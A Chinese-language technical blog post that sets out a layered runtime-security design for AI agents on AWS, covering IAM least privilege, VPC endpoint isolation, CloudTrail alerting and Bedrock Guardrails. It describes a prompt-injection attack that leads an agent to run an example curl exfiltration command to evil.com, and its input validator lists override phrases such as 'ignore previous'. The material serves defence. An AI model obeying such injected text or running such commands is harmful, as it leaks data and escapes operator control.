AI Agent 运行时安全模型:从 IAM 最小权限到 VPC Endpoint 的多层防护设计

问题定义

传统应用的安全模型建立在一个假设上:应用的行为是确定性的。代码审查通过了,行为就是可预测的。

AI Agent 打破了这个假设。Agent 根据自然语言 prompt 和运行时上下文动态决定调用哪些 API、传递什么参数。即使代码不变,不同的用户输入可能导致完全不同的 API 调用序列。

这带来了几个安全挑战:

  1. 行为不可穷举:无法通过静态分析列出 Agent 所有可能的行为路径
  2. 权限利用范围不确定:Agent 可能在合法权限范围内做出你没预期的操作
  3. 攻击面扩大:prompt injection 可以诱导 Agent 执行恶意操作

因此,Agent 的安全架构需要从「事前审查」扩展到「运行时约束 + 实时监控 + 事后审计」的完整闭环。

本文基于亚马逊云科技的 IAM、VPC、CloudTrail、Bedrock Guardrails 四个服务,设计一套多层防护方案。

架构概览

┌─── 应用层 ────────────────────────────────────┐
│  输入验证 → Bedrock Guardrails → 输出过滤      │
└──────────────────┬────────────────────────────┘
                   ↓
┌─── 权限层 ────────────────────────────────────┐
│  IAM Role(最小权限 + Condition 约束)          │
└──────────────────┬────────────────────────────┘
                   ↓
┌─── 网络层 ────────────────────────────────────┐
│  VPC Private Subnet → VPC Endpoint             │
│  Security Group + Endpoint Policy              │
└──────────────────┬────────────────────────────┘
                   ↓
┌─── 审计层 ────────────────────────────────────┐
│  CloudTrail + CloudWatch Alarms                │
│  Bedrock Model Invocation Logging              │
└───────────────────────────────────────────────┘

权限层:IAM 最小权限设计

专用 Role

每个 Agent 一个独立的 IAM Role。不共享、不复用。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "BedrockInvoke",
            "Effect": "Allow",
            "Action": [
                "bedrock:InvokeModel",
                "bedrock:InvokeModelWithResponseStream"
            ],
            "Resource": "arn:aws-cn:bedrock:*::foundation-model/anthropic.claude-*"
        },
        {
            "Sid": "S3ReadOnly",
            "Effect": "Allow",
            "Action": "s3:GetObject",
            "Resource": "arn:aws-cn:s3:::my-agent-data/input/*"
        }
    ]
}

设计原则:

  1. Action 粒度到方法InvokeModel 而非 bedrock:*
  2. Resource 粒度到实例:限定模型系列、S3 prefix
  3. 不给探索类权限:Agent 不需要 List*Describe*
  4. 显式拒绝高危操作
{
    "Sid": "DenyDangerous",
    "Effect": "Deny",
    "Action": [
        "iam:*",
        "organizations:*",
        "sts:AssumeRole"
    ],
    "Resource": "*"
}

Condition 约束

{
    "Condition": {
        "StringEquals": {
            "aws:RequestedRegion": "cn-northwest-1"
        },
        "IpAddress": {
            "aws:VpcSourceIp": "10.0.0.0/16"
        }
    }
}

地理限制 + 网络来源限制。即使凭证泄露,也只能从特定 VPC 内使用。

网络层:VPC 隔离 + Endpoint

网络拓扑

Agent 运行在无公网出口的私有子网。访问亚马逊云科技服务通过 VPC Endpoint(Interface 类型或 Gateway 类型)。

安全组规则:

入站:无
出站:TCP 443 → Endpoint 安全组 CIDR

Endpoint Policy

VPC Endpoint 可以配置独立的访问策略,作为网络层的第二道权限过滤

{
    "Statement": [{
        "Principal": {
            "AWS": "arn:aws-cn:iam::123456789012:role/AgentRole"
        },
        "Effect": "Allow",
        "Action": "bedrock:InvokeModel",
        "Resource": "arn:aws-cn:bedrock:*::foundation-model/anthropic.claude-*"
    }]
}

IAM Policy 和 Endpoint Policy 是交集关系——请求必须同时通过两个策略才能执行。

防御 prompt injection 的网络效果

即使攻击者通过 prompt injection 让 Agent 尝试访问外部 URL(比如 curl https://evil.com/exfiltrate?data=xxx),VPC 的网络隔离直接拒绝——Agent 没有公网出口。

审计层:CloudTrail + CloudWatch

日志收集

  1. CloudTrail:记录所有 API 调用(管理事件 + 数据事件)
  2. Bedrock Model Invocation Logging:记录每次模型调用的详细信息
  3. VPC Flow Logs:记录网络流量(可选,排查异常连接)

实时告警

CloudWatch Alarms + Metric Filters:

指标 阈值 响应
InvokeModel 调用频率 5min > 100 SNS 通知
AccessDenied 事件 任何出现 通知 + Lambda 自动暂停
非工作时间调用 22:00-06:00 北京 SNS 通知
单次 token 消耗 > 50000 SNS 通知

自动响应

CloudWatch Alarm → SNS → Lambda,实现:

  • 自动撤销 Agent 的 IAM Role 临时凭证
  • 自动修改安全组拒绝 Agent 出站流量
  • 自动创建 CloudTrail 事件的快照供取证

应用层:Bedrock Guardrails

Guardrails 在模型调用层面提供防护:

配置项

  • 内容过滤:HATE, INSULTS, SEXUAL, VIOLENCE 等类别,可设置阈值
  • 话题限制:定义 denied topics,Agent 不讨论无关话题
  • PII 检测:识别姓名、电话、邮箱、身份证号等,可选匿名化或拒绝
  • 词汇过滤:自定义禁用词列表
  • Contextual grounding:检测幻觉,确保回答基于给定上下文

输入验证

Guardrails 之前还需要应用层的基础验证:

def validate_agent_input(user_input: str) -> str:
    # 长度限制
    if len(user_input) > 5000:
        raise ValueError("输入超过长度限制")
    
    # 编码检查
    user_input.encode('utf-8')
    
    # 基础注入检测
    injection_patterns = [
        "ignore previous",
        "system:",
        "assistant:",
        "<|im_start|>",
    ]
    lower = user_input.lower()
    for p in injection_patterns:
        if p in lower:
            raise ValueError("检测到可疑输入模式")
    
    return user_input

总结

AI Agent 的安全是一个纵深防御问题。四个层面:

服务 解决的问题
权限 IAM Agent 能做什么
网络 VPC + Endpoint Agent 能访问什么
审计 CloudTrail + CloudWatch Agent 做了什么
应用 Guardrails + 输入验证 Agent 说了什么

核心原则:假设 Agent 的行为不可完全预测,用技术手段约束它只能在安全边界内活动


Amazon Bedrock:https://aws.amazon.com/cn/bedrock/
Bedrock Guardrails:https://aws.amazon.com/cn/bedrock/guardrails/
IAM:https://docs.aws.amazon.com/iam/
CloudTrail:https://aws.amazon.com/cn/cloudtrail/
VPC Endpoints:https://docs.aws.amazon.com/vpc/latest/privatelink/

posted @ 2026-03-13 11:30  亚马逊云开发者  阅读(1)  评论(0)    收藏  举报